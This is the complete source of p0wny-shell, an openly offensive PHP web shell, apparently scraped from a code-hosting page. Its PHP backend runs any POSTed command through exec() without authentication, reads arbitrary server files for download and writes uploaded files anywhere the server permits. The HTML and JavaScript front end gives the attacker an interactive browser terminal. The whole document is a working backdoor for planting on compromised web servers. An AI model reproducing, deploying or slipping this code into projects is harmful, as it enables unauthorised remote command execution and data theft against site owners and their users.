512 lines
		
	
	
		
			17 KiB
		
	
	
	
		
			PHP
		
	
	
	
	
	
			
		
		
	
	
			512 lines
		
	
	
		
			17 KiB
		
	
	
	
		
			PHP
		
	
	
	
	
	
| <?php
 | |
| 
 | |
| function expandPath($path) {
 | |
|     if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
 | |
|         exec("echo $match[1]", $stdout);
 | |
|         return $stdout[0] . $match[2];
 | |
|     }
 | |
|     return $path;
 | |
| }
 | |
| 
 | |
| function featureShell($cmd, $cwd) {
 | |
|     $stdout = array();
 | |
| 
 | |
|     if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
 | |
|         chdir(expandPath("~"));
 | |
|     } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
 | |
|         chdir($cwd);
 | |
|         preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
 | |
|         chdir(expandPath($match[1]));
 | |
|     } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
 | |
|         chdir($cwd);
 | |
|         preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
 | |
|         return featureDownload($match[1]);
 | |
|     } else {
 | |
|         chdir($cwd);
 | |
|         exec($cmd, $stdout);
 | |
|     }
 | |
| 
 | |
|     return array(
 | |
|         "stdout" => $stdout,
 | |
|         "cwd" => getcwd()
 | |
|     );
 | |
| }
 | |
| 
 | |
| function featurePwd() {
 | |
|     return array("cwd" => getcwd());
 | |
| }
 | |
| 
 | |
| function featureHint($fileName, $cwd, $type) {
 | |
|     chdir($cwd);
 | |
|     if ($type == 'cmd') {
 | |
|         $cmd = "compgen -c $fileName";
 | |
|     } else {
 | |
|         $cmd = "compgen -f $fileName";
 | |
|     }
 | |
|     $cmd = "/bin/bash -c \"$cmd\"";
 | |
|     $files = explode("\n", shell_exec($cmd));
 | |
|     return array(
 | |
|         'files' => $files,
 | |
|     );
 | |
| }
 | |
| 
 | |
| function featureDownload($filePath) {
 | |
|     $file = @file_get_contents($filePath);
 | |
|     if ($file === FALSE) {
 | |
|         return array(
 | |
|             'stdout' => array('File not found / no read permission.'),
 | |
|             'cwd' => getcwd()
 | |
|         );
 | |
|     } else {
 | |
|         return array(
 | |
|             'name' => basename($filePath),
 | |
|             'file' => base64_encode($file)
 | |
|         );
 | |
|     }
 | |
| }
 | |
| 
 | |
| function featureUpload($path, $file, $cwd) {
 | |
|     chdir($cwd);
 | |
|     $f = @fopen($path, 'wb');
 | |
|     if ($f === FALSE) {
 | |
|         return array(
 | |
|             'stdout' => array('Invalid path / no write permission.'),
 | |
|             'cwd' => getcwd()
 | |
|         );
 | |
|     } else {
 | |
|         fwrite($f, base64_decode($file));
 | |
|         fclose($f);
 | |
|         return array(
 | |
|             'stdout' => array('Done.'),
 | |
|             'cwd' => getcwd()
 | |
|         );
 | |
|     }
 | |
| }
 | |
| 
 | |
| if (isset($_GET["feature"])) {
 | |
| 
 | |
|     $response = NULL;
 | |
| 
 | |
|     switch ($_GET["feature"]) {
 | |
|         case "shell":
 | |
|             $cmd = $_POST['cmd'];
 | |
|             if (!preg_match('/2>/', $cmd)) {
 | |
|                 $cmd .= ' 2>&1';
 | |
|             }
 | |
|             $response = featureShell($cmd, $_POST["cwd"]);
 | |
|             break;
 | |
|         case "pwd":
 | |
|             $response = featurePwd();
 | |
|             break;
 | |
|         case "hint":
 | |
|             $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
 | |
|             break;
 | |
|         case 'upload':
 | |
|             $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
 | |
|     }
 | |
| 
 | |
|     header("Content-Type: application/json");
 | |
|     echo json_encode($response);
 | |
|     die();
 | |
| }
 | |
| 
 | |
| ?><!DOCTYPE html>
 | |
| 
 | |
| <html>
 | |
| 
 | |
|     <head>
 | |
|         <meta charset="UTF-8" />
 | |
|         <title>p0wny@shell:~#</title>
 | |
|         <meta name="viewport" content="width=device-width, initial-scale=1.0" />
 | |
|         <style>
 | |
|             html, body {
 | |
|                 margin: 0;
 | |
|                 padding: 0;
 | |
|                 background: #333;
 | |
|                 color: #eee;
 | |
|                 font-family: monospace;
 | |
|             }
 | |
| 
 | |
|             *::-webkit-scrollbar-track {
 | |
|                 border-radius: 8px;
 | |
|                 background-color: #353535;
 | |
|             }
 | |
| 
 | |
|             *::-webkit-scrollbar {
 | |
|                 width: 8px;
 | |
|                 height: 8px;
 | |
|             }
 | |
| 
 | |
|             *::-webkit-scrollbar-thumb {
 | |
|                 border-radius: 8px;
 | |
|                 -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
 | |
|                 background-color: #bcbcbc;
 | |
|             }
 | |
| 
 | |
|             #shell {
 | |
|                 background: #222;
 | |
|                 max-width: 800px;
 | |
|                 margin: 50px auto 0 auto;
 | |
|                 box-shadow: 0 0 5px rgba(0, 0, 0, .3);
 | |
|                 font-size: 10pt;
 | |
|                 display: flex;
 | |
|                 flex-direction: column;
 | |
|                 align-items: stretch;
 | |
|             }
 | |
| 
 | |
|             #shell-content {
 | |
|                 height: 500px;
 | |
|                 overflow: auto;
 | |
|                 padding: 5px;
 | |
|                 white-space: pre-wrap;
 | |
|                 flex-grow: 1;
 | |
|             }
 | |
| 
 | |
|             #shell-logo {
 | |
|                 font-weight: bold;
 | |
|                 color: #FF4180;
 | |
|                 text-align: center;
 | |
|             }
 | |
| 
 | |
|             @media (max-width: 991px) {
 | |
|                 #shell-logo {
 | |
|                     font-size: 6px;
 | |
|                     margin: -25px 0;
 | |
|                 }
 | |
| 
 | |
|                 html, body, #shell {
 | |
|                     height: 100%;
 | |
|                     width: 100%;
 | |
|                     max-width: none;
 | |
|                 }
 | |
| 
 | |
|                 #shell {
 | |
|                     margin-top: 0;
 | |
|                 }
 | |
|             }
 | |
| 
 | |
|             @media (max-width: 767px) {
 | |
|                 #shell-input {
 | |
|                     flex-direction: column;
 | |
|                 }
 | |
|             }
 | |
| 
 | |
|             @media (max-width: 320px) {
 | |
|                 #shell-logo {
 | |
|                     font-size: 5px;
 | |
|                 }
 | |
|             }
 | |
| 
 | |
|             .shell-prompt {
 | |
|                 font-weight: bold;
 | |
|                 color: #75DF0B;
 | |
|             }
 | |
| 
 | |
|             .shell-prompt > span {
 | |
|                 color: #1BC9E7;
 | |
|             }
 | |
| 
 | |
|             #shell-input {
 | |
|                 display: flex;
 | |
|                 box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
 | |
|                 border-top: rgba(255, 255, 255, .05) solid 1px;
 | |
|             }
 | |
| 
 | |
|             #shell-input > label {
 | |
|                 flex-grow: 0;
 | |
|                 display: block;
 | |
|                 padding: 0 5px;
 | |
|                 height: 30px;
 | |
|                 line-height: 30px;
 | |
|             }
 | |
| 
 | |
|             #shell-input #shell-cmd {
 | |
|                 height: 30px;
 | |
|                 line-height: 30px;
 | |
|                 border: none;
 | |
|                 background: transparent;
 | |
|                 color: #eee;
 | |
|                 font-family: monospace;
 | |
|                 font-size: 10pt;
 | |
|                 width: 100%;
 | |
|                 align-self: center;
 | |
|             }
 | |
| 
 | |
|             #shell-input div {
 | |
|                 flex-grow: 1;
 | |
|                 align-items: stretch;
 | |
|             }
 | |
| 
 | |
|             #shell-input input {
 | |
|                 outline: none;
 | |
|             }
 | |
|         </style>
 | |
| 
 | |
|         <script>
 | |
|             var CWD = null;
 | |
|             var commandHistory = [];
 | |
|             var historyPosition = 0;
 | |
|             var eShellCmdInput = null;
 | |
|             var eShellContent = null;
 | |
| 
 | |
|             function _insertCommand(command) {
 | |
|                 eShellContent.innerHTML += "\n\n";
 | |
|                 eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
 | |
|                 eShellContent.innerHTML += escapeHtml(command);
 | |
|                 eShellContent.innerHTML += "\n";
 | |
|                 eShellContent.scrollTop = eShellContent.scrollHeight;
 | |
|             }
 | |
| 
 | |
|             function _insertStdout(stdout) {
 | |
|                 eShellContent.innerHTML += escapeHtml(stdout);
 | |
|                 eShellContent.scrollTop = eShellContent.scrollHeight;
 | |
|             }
 | |
| 
 | |
|             function _defer(callback) {
 | |
|                 setTimeout(callback, 0);
 | |
|             }
 | |
| 
 | |
|             function featureShell(command) {
 | |
| 
 | |
|                 _insertCommand(command);
 | |
|                 if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
 | |
|                     featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
 | |
|                 } else if (/^\s*clear\s*$/.test(command)) {
 | |
|                     // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
 | |
|                     eShellContent.innerHTML = '';
 | |
|                 } else {
 | |
|                     makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
 | |
|                         if (response.hasOwnProperty('file')) {
 | |
|                             featureDownload(response.name, response.file)
 | |
|                         } else {
 | |
|                             _insertStdout(response.stdout.join("\n"));
 | |
|                             updateCwd(response.cwd);
 | |
|                         }
 | |
|                     });
 | |
|                 }
 | |
|             }
 | |
| 
 | |
|             function featureHint() {
 | |
|                 if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
 | |
| 
 | |
|                 function _requestCallback(data) {
 | |
|                     if (data.files.length <= 1) return;  // no completion
 | |
| 
 | |
|                     if (data.files.length === 2) {
 | |
|                         if (type === 'cmd') {
 | |
|                             eShellCmdInput.value = data.files[0];
 | |
|                         } else {
 | |
|                             var currentValue = eShellCmdInput.value;
 | |
|                             eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
 | |
|                         }
 | |
|                     } else {
 | |
|                         _insertCommand(eShellCmdInput.value);
 | |
|                         _insertStdout(data.files.join("\n"));
 | |
|                     }
 | |
|                 }
 | |
| 
 | |
|                 var currentCmd = eShellCmdInput.value.split(" ");
 | |
|                 var type = (currentCmd.length === 1) ? "cmd" : "file";
 | |
|                 var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
 | |
| 
 | |
|                 makeRequest(
 | |
|                     "?feature=hint",
 | |
|                     {
 | |
|                         filename: fileName,
 | |
|                         cwd: CWD,
 | |
|                         type: type
 | |
|                     },
 | |
|                     _requestCallback
 | |
|                 );
 | |
| 
 | |
|             }
 | |
| 
 | |
|             function featureDownload(name, file) {
 | |
|                 var element = document.createElement('a');
 | |
|                 element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
 | |
|                 element.setAttribute('download', name);
 | |
|                 element.style.display = 'none';
 | |
|                 document.body.appendChild(element);
 | |
|                 element.click();
 | |
|                 document.body.removeChild(element);
 | |
|                 _insertStdout('Done.');
 | |
|             }
 | |
| 
 | |
|             function featureUpload(path) {
 | |
|                 var element = document.createElement('input');
 | |
|                 element.setAttribute('type', 'file');
 | |
|                 element.style.display = 'none';
 | |
|                 document.body.appendChild(element);
 | |
|                 element.addEventListener('change', function () {
 | |
|                     var promise = getBase64(element.files[0]);
 | |
|                     promise.then(function (file) {
 | |
|                         makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
 | |
|                             _insertStdout(response.stdout.join("\n"));
 | |
|                             updateCwd(response.cwd);
 | |
|                         });
 | |
|                     }, function () {
 | |
|                         _insertStdout('An unknown client-side error occurred.');
 | |
|                     });
 | |
|                 });
 | |
|                 element.click();
 | |
|                 document.body.removeChild(element);
 | |
|             }
 | |
| 
 | |
|             function getBase64(file, onLoadCallback) {
 | |
|                 return new Promise(function(resolve, reject) {
 | |
|                     var reader = new FileReader();
 | |
|                     reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
 | |
|                     reader.onerror = reject;
 | |
|                     reader.readAsDataURL(file);
 | |
|                 });
 | |
|             }
 | |
| 
 | |
|             function genPrompt(cwd) {
 | |
|                 cwd = cwd || "~";
 | |
|                 var shortCwd = cwd;
 | |
|                 if (cwd.split("/").length > 3) {
 | |
|                     var splittedCwd = cwd.split("/");
 | |
|                     shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
 | |
|                 }
 | |
|                 return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
 | |
|             }
 | |
| 
 | |
|             function updateCwd(cwd) {
 | |
|                 if (cwd) {
 | |
|                     CWD = cwd;
 | |
|                     _updatePrompt();
 | |
|                     return;
 | |
|                 }
 | |
|                 makeRequest("?feature=pwd", {}, function(response) {
 | |
|                     CWD = response.cwd;
 | |
|                     _updatePrompt();
 | |
|                 });
 | |
| 
 | |
|             }
 | |
| 
 | |
|             function escapeHtml(string) {
 | |
|                 return string
 | |
|                     .replace(/&/g, "&")
 | |
|                     .replace(/</g, "<")
 | |
|                     .replace(/>/g, ">");
 | |
|             }
 | |
| 
 | |
|             function _updatePrompt() {
 | |
|                 var eShellPrompt = document.getElementById("shell-prompt");
 | |
|                 eShellPrompt.innerHTML = genPrompt(CWD);
 | |
|             }
 | |
| 
 | |
|             function _onShellCmdKeyDown(event) {
 | |
|                 switch (event.key) {
 | |
|                     case "Enter":
 | |
|                         featureShell(eShellCmdInput.value);
 | |
|                         insertToHistory(eShellCmdInput.value);
 | |
|                         eShellCmdInput.value = "";
 | |
|                         break;
 | |
|                     case "ArrowUp":
 | |
|                         if (historyPosition > 0) {
 | |
|                             historyPosition--;
 | |
|                             eShellCmdInput.blur();
 | |
|                             eShellCmdInput.value = commandHistory[historyPosition];
 | |
|                             _defer(function() {
 | |
|                                 eShellCmdInput.focus();
 | |
|                             });
 | |
|                         }
 | |
|                         break;
 | |
|                     case "ArrowDown":
 | |
|                         if (historyPosition >= commandHistory.length) {
 | |
|                             break;
 | |
|                         }
 | |
|                         historyPosition++;
 | |
|                         if (historyPosition === commandHistory.length) {
 | |
|                             eShellCmdInput.value = "";
 | |
|                         } else {
 | |
|                             eShellCmdInput.blur();
 | |
|                             eShellCmdInput.focus();
 | |
|                             eShellCmdInput.value = commandHistory[historyPosition];
 | |
|                         }
 | |
|                         break;
 | |
|                     case 'Tab':
 | |
|                         event.preventDefault();
 | |
|                         featureHint();
 | |
|                         break;
 | |
|                 }
 | |
|             }
 | |
| 
 | |
|             function insertToHistory(cmd) {
 | |
|                 commandHistory.push(cmd);
 | |
|                 historyPosition = commandHistory.length;
 | |
|             }
 | |
| 
 | |
|             function makeRequest(url, params, callback) {
 | |
|                 function getQueryString() {
 | |
|                     var a = [];
 | |
|                     for (var key in params) {
 | |
|                         if (params.hasOwnProperty(key)) {
 | |
|                             a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
 | |
|                         }
 | |
|                     }
 | |
|                     return a.join("&");
 | |
|                 }
 | |
|                 var xhr = new XMLHttpRequest();
 | |
|                 xhr.open("POST", url, true);
 | |
|                 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
 | |
|                 xhr.onreadystatechange = function() {
 | |
|                     if (xhr.readyState === 4 && xhr.status === 200) {
 | |
|                         try {
 | |
|                             var responseJson = JSON.parse(xhr.responseText);
 | |
|                             callback(responseJson);
 | |
|                         } catch (error) {
 | |
|                             alert("Error while parsing response: " + error);
 | |
|                         }
 | |
|                     }
 | |
|                 };
 | |
|                 xhr.send(getQueryString());
 | |
|             }
 | |
| 
 | |
|             document.onclick = function(event) {
 | |
|                 event = event || window.event;
 | |
|                 var selection = window.getSelection();
 | |
|                 var target = event.target || event.srcElement;
 | |
| 
 | |
|                 if (target.tagName === "SELECT") {
 | |
|                     return;
 | |
|                 }
 | |
| 
 | |
|                 if (!selection.toString()) {
 | |
|                     eShellCmdInput.focus();
 | |
|                 }
 | |
|             };
 | |
| 
 | |
|             window.onload = function() {
 | |
|                 eShellCmdInput = document.getElementById("shell-cmd");
 | |
|                 eShellContent = document.getElementById("shell-content");
 | |
|                 updateCwd();
 | |
|                 eShellCmdInput.focus();
 | |
|             };
 | |
|         </script>
 | |
|     </head>
 | |
| 
 | |
|     <body>
 | |
|         <div id="shell">
 | |
|             <pre id="shell-content">
 | |
|                 <div id="shell-logo">
 | |
|         ___                         ____      _          _ _        _  _   <span></span>
 | |
|  _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
 | |
| | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
 | |
| | |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
 | |
| | .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
 | |
| |_|                         |___/  \____/                                  <span></span>
 | |
|                 </div>
 | |
|             </pre>
 | |
|             <div id="shell-input">
 | |
|                 <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
 | |
|                 <div>
 | |
|                     <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
 | |
|                 </div>
 | |
|             </div>
 | |
|         </div>
 | |
|     </body>
 | |
| 
 | |
| </html>
 |